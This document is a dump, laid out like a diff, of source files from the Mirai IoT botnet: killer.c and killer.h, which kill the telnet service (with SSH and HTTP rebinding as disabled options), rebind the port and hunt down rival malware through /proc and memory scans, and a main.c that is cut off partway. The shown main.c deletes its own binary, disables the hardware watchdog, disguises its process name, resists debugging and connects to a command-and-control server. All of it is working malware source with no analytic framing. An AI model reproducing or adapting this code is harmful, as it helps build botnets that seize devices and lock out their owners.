|
||||
r = 8; break;
|
||||
case 'D' : /* Signed decimal */
|
||||
case 'U' : /* Unsigned decimal */
|
||||
r = 10; break;
|
||||
case 'X' : /* Hexdecimal */
|
||||
r = 16; break;
|
||||
default: /* Unknown type (passthrough) */
|
||||
xputc(c); continue;
|
||||
}
|
||||
|
||||
/* Get an argument and put it in numeral */
|
||||
v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int));
|
||||
if (d == 'D' && (v & 0x80000000)) {
|
||||
v = 0 - v;
|
||||
f |= 8;
|
||||
}
|
||||
i = 0;
|
||||
do {
|
||||
d = (char)(v % r); v /= r;
|
||||
if (d > 9) d += (c == 'x') ? 0x27 : 0x07;
|
||||
s[i++] = d + '0';
|
||||
} while (v && i < sizeof(s));
|
||||
if (f & 8) s[i++] = '-';
|
||||
j = i; d = (f & 1) ? '0' : ' ';
|
||||
while (!(f & 2) && j++ < w) xputc(d);
|
||||
do xputc(s[--i]); while(i);
|
||||
while (j++ < w) xputc(' ');
|
||||
}
|
||||
}
|
||||
|
||||
static void xprintf(const char *fmt, ...)
|
||||
{
|
||||
va_list arp;
|
||||
va_start(arp, fmt);
|
||||
xvprintf(fmt, arp);
|
||||
va_end(arp);
|
||||
}
|
||||
#define printf xprintf
|
||||
|
||||
#endif
|
||||
|
560
mirai/bot/killer.c
Executable file
560
mirai/bot/killer.c
Executable file
@ -0,0 +1,560 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/limits.h>
|
||||
#include <sys/types.h>
|
||||
#include <dirent.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "killer.h"
|
||||
#include "table.h"
|
||||
#include "util.h"
|
||||
|
||||
int killer_pid;
|
||||
char *killer_realpath;
|
||||
int killer_realpath_len = 0;
|
||||
|
||||
void killer_init(void)
|
||||
{
|
||||
int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd;
|
||||
uint32_t scan_counter = 0;
|
||||
struct sockaddr_in tmp_bind_addr;
|
||||
|
||||
// Let parent continue on main thread
|
||||
killer_pid = fork();
|
||||
if (killer_pid > 0 || killer_pid == -1)
|
||||
return;
|
||||
|
||||
tmp_bind_addr.sin_family = AF_INET;
|
||||
tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
// Kill telnet service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_TELNET
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Trying to kill port 23\n");
|
||||
#endif
|
||||
if (killer_kill_by_port(htons(23)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/23 (telnet)\n");
|
||||
#endif
|
||||
} else {
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to kill port 23\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(23);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/23 (telnet)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// Kill SSH service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_SSH
|
||||
if (killer_kill_by_port(htons(22)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/22 (SSH)\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(22);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/22 (SSH)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// Kill HTTP service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_HTTP
|
||||
if (killer_kill_by_port(htons(80)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/80 (http)\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(80);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/80 (http)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// In case the binary is getting deleted, we want to get the REAL realpath
|
||||
sleep(5);
|
||||
|
||||
killer_realpath = malloc(PATH_MAX);
|
||||
killer_realpath[0] = 0;
|
||||
killer_realpath_len = 0;
|
||||
|
||||
if (!has_exe_access())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Machine does not have /proc/$pid/exe\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Memory scanning processes\n");
|
||||
#endif
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
DIR *dir;
|
||||
struct dirent *file;
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to open /proc!\n");
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
|
||||
while ((file = readdir(dir)) != NULL)
|
||||
{
|
||||
// skip all folders that are not PIDs
|
||||
if (*(file->d_name) < '0' || *(file->d_name) > '9')
|
||||
continue;
|
||||
|
||||
char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX];
|
||||
char status_path[64], *ptr_status_path = status_path;
|
||||
int rp_len, fd, pid = atoi(file->d_name);
|
||||
|
||||
scan_counter++;
|
||||
if (pid <= killer_highest_pid)
|
||||
{
|
||||
if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME);
|
||||
#endif
|
||||
killer_highest_pid = KILLER_MIN_PID;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)
|
||||
sleep(1); // Sleep so we can wait for another process to spawn
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (pid > killer_highest_pid)
|
||||
killer_highest_pid = pid;
|
||||
last_pid_scan = time(NULL);
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Store /proc/$pid/exe into exe_path
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
// Store /proc/$pid/status into status_path
|
||||
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_status_path += util_strcpy(ptr_status_path, file->d_name);
|
||||
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Resolve exe_path (/proc/$pid/exe) -> realpath
|
||||
if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
|
||||
{
|
||||
realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string
|
||||
|
||||
table_unlock_val(TABLE_KILLER_ANIME);
|
||||
// If path contains ".anime" kill.
|
||||
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
|
||||
{
|
||||
unlink(realpath);
|
||||
kill(pid, 9);
|
||||
}
|
||||
table_lock_val(TABLE_KILLER_ANIME);
|
||||
|
||||
// Skip this file if its realpath == killer_realpath
|
||||
if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
|
||||
continue;
|
||||
|
||||
if ((fd = open(realpath, O_RDONLY)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Process '%s' has deleted binary!\n", realpath);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
|
||||
if (memory_scan_match(exe_path))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Memory scan match for binary %s\n", exe_path);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
/*
|
||||
if (upx_scan_match(exe_path, status_path))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] UPX scan match for binary %s\n", exe_path);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
*/
|
||||
|
||||
// Don't let others memory scan!!!
|
||||
util_zero(exe_path, sizeof (exe_path));
|
||||
util_zero(status_path, sizeof (status_path));
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Finished\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
void killer_kill(void)
|
||||
{
|
||||
kill(killer_pid, 9);
|
||||
}
|
||||
|
||||
BOOL killer_kill_by_port(port_t port)
|
||||
{
|
||||
DIR *dir, *fd_dir;
|
||||
struct dirent *entry, *fd_entry;
|
||||
char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0};
|
||||
int pid = 0, fd = 0;
|
||||
char inode[16] = {0};
|
||||
char *ptr_path = path;
|
||||
int ret = 0;
|
||||
char port_str[16];
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Finding and killing processes holding port %d\n", ntohs(port));
|
||||
#endif
|
||||
|
||||
util_itoa(ntohs(port), 16, port_str);
|
||||
if (util_strlen(port_str) == 2)
|
||||
{
|
||||
port_str[2] = port_str[0];
|
||||
port_str[3] = port_str[1];
|
||||
port_str[4] = 0;
|
||||
|
||||
port_str[0] = '0';
|
||||
port_str[1] = '0';
|
||||
}
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
table_unlock_val(TABLE_KILLER_FD);
|
||||
|
||||
fd = open("/proc/net/tcp", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return 0;
|
||||
|
||||
while (util_fdgets(buffer, 512, fd) != NULL)
|
||||
{
|
||||
int i = 0, ii = 0;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ':')
|
||||
i++;
|
||||
|
||||
if (buffer[i] == 0) continue;
|
||||
i += 2;
|
||||
ii = i;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ' ')
|
||||
i++;
|
||||
buffer[i++] = 0;
|
||||
|
||||
// Compare the entry in /proc/net/tcp to the hex value of the htons port
|
||||
if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1)
|
||||
{
|
||||
int column_index = 0;
|
||||
BOOL in_column = FALSE;
|
||||
BOOL listening_state = FALSE;
|
||||
|
||||
while (column_index < 7 && buffer[++i] != 0)
|
||||
{
|
||||
if (buffer[i] == ' ' || buffer[i] == '\t')
|
||||
in_column = TRUE;
|
||||
else
|
||||
{
|
||||
if (in_column == TRUE)
|
||||
column_index++;
|
||||
|
||||
if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')
|
||||
{
|
||||
listening_state = TRUE;
|
||||
}
|
||||
|
||||
in_column = FALSE;
|
||||
}
|
||||
}
|
||||
ii = i;
|
||||
|
||||
if (listening_state == FALSE)
|
||||
continue;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ' ')
|
||||
i++;
|
||||
buffer[i++] = 0;
|
||||
|
||||
if (util_strlen(&(buffer[ii])) > 15)
|
||||
continue;
|
||||
|
||||
util_strcpy(inode, &(buffer[ii]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
close(fd);
|
||||
|
||||
// If we failed to find it, lock everything and move on
|
||||
if (util_strlen(inode) == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to find inode for port %d\n", ntohs(port));
|
||||
#endif
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
table_lock_val(TABLE_KILLER_FD);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Found inode \"%s\" for port %d\n", inode, ntohs(port));
|
||||
#endif
|
||||
|
||||
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL)
|
||||
{
|
||||
while ((entry = readdir(dir)) != NULL && ret == 0)
|
||||
{
|
||||
char *pid = entry->d_name;
|
||||
|
||||
// skip all folders that are not PIDs
|
||||
if (*pid < '0' || *pid > '9')
|
||||
continue;
|
||||
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
if (readlink(path, exe, PATH_MAX) == -1)
|
||||
continue;
|
||||
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
|
||||
if ((fd_dir = opendir(path)) != NULL)
|
||||
{
|
||||
while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)
|
||||
{
|
||||
char *fd_str = fd_entry->d_name;
|
||||
|
||||
util_zero(exe, PATH_MAX);
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), "/");
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), fd_str);
|
||||
if (readlink(path, exe, PATH_MAX) == -1)
|
||||
continue;
|
||||
|
||||
if (util_stristr(exe, util_strlen(exe), inode) != -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port));
|
||||
#else
|
||||
kill(util_atoi(pid, 10), 9);
|
||||
#endif
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
closedir(fd_dir);
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
table_lock_val(TABLE_KILLER_FD);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static BOOL has_exe_access(void)
|
||||
{
|
||||
char path[PATH_MAX], *ptr_path = path, tmp[16];
|
||||
int fd, k_rp_len;
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Copy /proc/$pid/exe into path
|
||||
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));
|
||||
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
// Try to open file
|
||||
if ((fd = open(path, O_RDONLY)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to open()\n");
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
|
||||
if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1)
|
||||
{
|
||||
killer_realpath[k_rp_len] = 0;
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Detected we are running out of `%s`\n", killer_realpath);
|
||||
#endif
|
||||
}
|
||||
|
||||
util_zero(path, ptr_path - path);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
static BOOL status_upx_check(char *exe_path, char *status_path)
|
||||
{
|
||||
int fd, ret;
|
||||
|
||||
if ((fd = open(exe_path, O_RDONLY)) != -1)
|
||||
{
|
||||
close(fd);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((fd = open(status_path, O_RDONLY)) == -1)
|
||||
return FALSE;
|
||||
|
||||
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
|
||||
{
|
||||
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
|
||||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
|
||||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
|
||||
{
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//eyy
|
||||
|
||||
close(fd);
|
||||
return FALSE;
|
||||
}
|
||||
*/
|
||||
|
||||
static BOOL memory_scan_match(char *path)
|
||||
{
|
||||
int fd, ret;
|
||||
char rdbuf[4096];
|
||||
char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;
|
||||
int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;
|
||||
BOOL found = FALSE;
|
||||
|
||||
if ((fd = open(path, O_RDONLY)) == -1)
|
||||
return FALSE;
|
||||
|
||||
table_unlock_val(TABLE_MEM_QBOT);
|
||||
table_unlock_val(TABLE_MEM_QBOT2);
|
||||
table_unlock_val(TABLE_MEM_QBOT3);
|
||||
table_unlock_val(TABLE_MEM_UPX);
|
||||
table_unlock_val(TABLE_MEM_ZOLLARD);
|
||||
|
||||
m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);
|
||||
m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);
|
||||
m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);
|
||||
m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);
|
||||
m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);
|
||||
|
||||
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
|
||||
{
|
||||
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
|
||||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
|
||||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
|
||||
{
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
table_lock_val(TABLE_MEM_QBOT);
|
||||
table_lock_val(TABLE_MEM_QBOT2);
|
||||
table_lock_val(TABLE_MEM_QBOT3);
|
||||
table_lock_val(TABLE_MEM_UPX);
|
||||
table_lock_val(TABLE_MEM_ZOLLARD);
|
||||
|
||||
close(fd);
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
|
||||
{
|
||||
int matches = 0;
|
||||
|
||||
if (str_len > buf_len)
|
||||
return FALSE;
|
||||
|
||||
while (buf_len--)
|
||||
{
|
||||
if (*buf++ == str[matches])
|
||||
{
|
||||
if (++matches == str_len)
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
matches = 0;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
19
mirai/bot/killer.h
Executable file
19
mirai/bot/killer.h
Executable file
@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#define KILLER_MIN_PID 400
|
||||
#define KILLER_RESTART_SCAN_TIME 600
|
||||
|
||||
#define KILLER_REBIND_TELNET
|
||||
// #define KILLER_REBIND_SSH
|
||||
// #define KILLER_REBIND_HTTP
|
||||
|
||||
void killer_init(void);
|
||||
void killer_kill(void);
|
||||
BOOL killer_kill_by_port(port_t);
|
||||
|
||||
static BOOL has_exe_access(void);
|
||||
static BOOL memory_scan_match(char *);
|
||||
static BOOL status_upx_check(char *, char *);
|
||||
static BOOL mem_exists(char *, int, char *, int);
|
533
mirai/bot/main.c
Executable file
533
mirai/bot/main.c
Executable file
@ -0,0 +1,533 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/select.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <time.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "table.h"
|
||||
#include "rand.h"
|
||||
#include "attack.h"
|
||||
#include "killer.h"
|
||||
#include "scanner.h"
|
||||
#include "util.h"
|
||||
#include "resolv.h"
|
||||
|
||||
static void anti_gdb_entry(int);
|
||||
static void resolve_cnc_addr(void);
|
||||
static void establish_connection(void);
|
||||
static void teardown_connection(void);
|
||||
static void ensure_single_instance(void);
|
||||
static BOOL unlock_tbl_if_nodebug(char *);
|
||||
|
||||
struct sockaddr_in srv_addr;
|
||||
int fd_ctrl = -1, fd_serv = -1;
|
||||
BOOL pending_connection = FALSE;
|
||||
void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry
|
||||
|
||||
#ifdef DEBUG
|
||||
static void segv_handler(int sig, siginfo_t *si, void *unused)
|
||||
{
|
||||
printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
char *tbl_exec_succ;
|
||||
char name_buf[32];
|
||||
char id_buf[32];
|
||||
int name_buf_len;
|
||||
int tbl_exec_succ_len;
|
||||
int pgid, pings = 0;
|
||||
|
||||
#ifndef DEBUG
|
||||
sigset_t sigs;
|
||||
int wfd;
|
||||
|
||||
// Delete self
|
||||
unlink(args[0]);
|
||||
|
||||
// Signal based control flow
|
||||
sigemptyset(&sigs);
|
||||
sigaddset(&sigs, SIGINT);
|
||||
sigprocmask(SIG_BLOCK, &sigs, NULL);
|
||||
signal(SIGCHLD, SIG_IGN);
|
||||
signal(SIGTRAP, &anti_gdb_entry);
|
||||
|
||||
// Prevent watchdog from rebooting device
|
||||
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
|
||||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
|
||||
{
|
||||
int one = 1;
|
||||
|
||||
ioctl(wfd, 0x80045704, &one);
|
||||
close(wfd);
|
||||
wfd = 0;
|
||||
}
|
||||
chdir("/");
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("DEBUG MODE YO\n");
|
||||
|
||||
sleep(1);
|
||||
|
||||
struct sigaction sa;
|
||||
|
||||
sa.sa_flags = SA_SIGINFO;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sa.sa_sigaction = segv_handler;
|
||||
if (sigaction(SIGSEGV, &sa, NULL) == -1)
|
||||
perror("sigaction");
|
||||
|
||||
sa.sa_flags = SA_SIGINFO;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sa.sa_sigaction = segv_handler;
|
||||
if (sigaction(SIGBUS, &sa, NULL) == -1)
|
||||
perror("sigaction");
|
||||
#endif
|
||||
|
||||
LOCAL_ADDR = util_local_addr();
|
||||
|
||||
srv_addr.sin_family = AF_INET;
|
||||
srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR;
|
||||
srv_addr.sin_port = htons(FAKE_CNC_PORT);
|
||||
|
||||
#ifdef DEBUG
|
||||
unlock_tbl_if_nodebug(args[0]);
|
||||
anti_gdb_entry(0);
|
||||
#else
|
||||
if (unlock_tbl_if_nodebug(args[0]))
|
||||
raise(SIGTRAP);
|
||||
#endif
|
||||
|
||||
ensure_single_instance();
|
||||
|
||||
rand_init();
|
||||
|
||||
util_zero(id_buf, 32);
|
||||
if (argc == 2 && util_strlen(args[1]) < 32)
|
||||
{
|
||||
util_strcpy(id_buf, args[1]);
|
||||
util_zero(args[1], util_strlen(args[1]));
|
||||
}
|
||||
|
||||
// Hide argv0
|
||||
name_buf_len = ((rand_next() % 4) + 3) * 4;
|
||||
rand_alphastr(name_buf, name_buf_len);
|
||||
name_buf[name_buf_len] = 0;
|
||||
util_strcpy(args[0], name_buf);
|
||||
|
||||
// Hide process name
|
||||
name_buf_len = ((rand_next() % 6) + 3) * 4;
|
||||
rand_alphastr(name_buf, name_buf_len);
|
||||
name_buf[name_buf_len] = 0;
|
||||
prctl(PR_SET_NAME, name_buf);
|
||||
|
||||
// Print out system exec
|
||||
table_unlock_val(TABLE_EXEC_SUCCESS);
|
||||
tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
|
||||
write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
|
||||
write(STDOUT, "\n", 1);
|
||||
table_lock_val(TABLE_EXEC_SUCCESS);
|
||||
|
||||
#ifndef DEBUG
|
||||
if (fork() > 0)
|
||||
return 0;
|
||||
pgid = setsid();
|
||||
close(STDIN);
|
||||
close(STDOUT);
|
||||
close(STDERR);
|
||||
#endif
|
||||
|
||||
attack_init();
|
||||
killer_init();
|
||||
#ifndef DEBUG
|
||||
#ifdef MIRAI_TELNET
|
||||
scanner_init();
|
||||
#endif
|
||||
#endif
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
fd_set fdsetrd, fdsetwr, fdsetex;
|
||||
struct timeval timeo;
|
||||
int mfd, nfds;
|
||||
|
||||
FD_ZERO(&fdsetrd);
|
||||
FD_ZERO(&fdsetwr);
|
||||
|
||||
// Socket for accept()
|
||||
if (fd_ctrl != -1)
|
||||
FD_SET(fd_ctrl, &fdsetrd);
|
||||
|
||||
// Set up CNC sockets
|
||||
if (fd_serv == -1)
|
||||
establish_connection();
|
||||
|
||||
if (pending_connection)
|
||||
FD_SET(fd_serv, &fdsetwr);
|
||||
else
|
||||
FD_SET(fd_serv, &fdsetrd);
|
||||
|
||||
// Get maximum FD for select
|
||||
if (fd_ctrl > fd_serv)
|
||||
mfd = fd_ctrl;
|
||||
else
|
||||
mfd = fd_serv;
|
||||
|
||||
// Wait 10s in call to select()
|
||||
timeo.tv_usec = 0;
|
||||
timeo.tv_sec = 10;
|
||||
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
|
||||
if (nfds == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("select() errno = %d\n", errno);
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
else if (nfds == 0)
|
||||
{
|
||||
uint16_t len = 0;
|
||||
|
||||
if (pings++ % 6 == 0)
|
||||
send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
|
||||
}
|
||||
|
||||
// Check if we need to kill ourselves
|
||||
if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
|
||||
{
|
||||
struct sockaddr_in cli_addr;
|
||||
socklen_t cli_addr_len = sizeof (cli_addr);
|
||||
|
||||
accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[main] Detected newer instance running! Killing self\n");
|
||||
#endif
|
||||
#ifdef MIRAI_TELNET
|
||||
scanner_kill();
|
||||
#endif
|
||||
killer_kill();
|
||||
attack_kill_all();
|
||||
kill(pgid * -1, 9);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// Check if CNC connection was established or timed out or errored
|
||||
if (pending_connection)
|
||||
{
|
||||
pending_connection = FALSE;
|
||||
|
||||
if (!FD_ISSET(fd_serv, &fdsetwr))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[main] Timed out while connecting to CNC\n");
|
||||
#endif
|
||||
teardown_connection();
|
||||
}
|
||||
else
|
||||
{
|
||||
int err = 0;
|
||||
socklen_t err_len = sizeof (err);
|
||||
|
||||
getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
||||
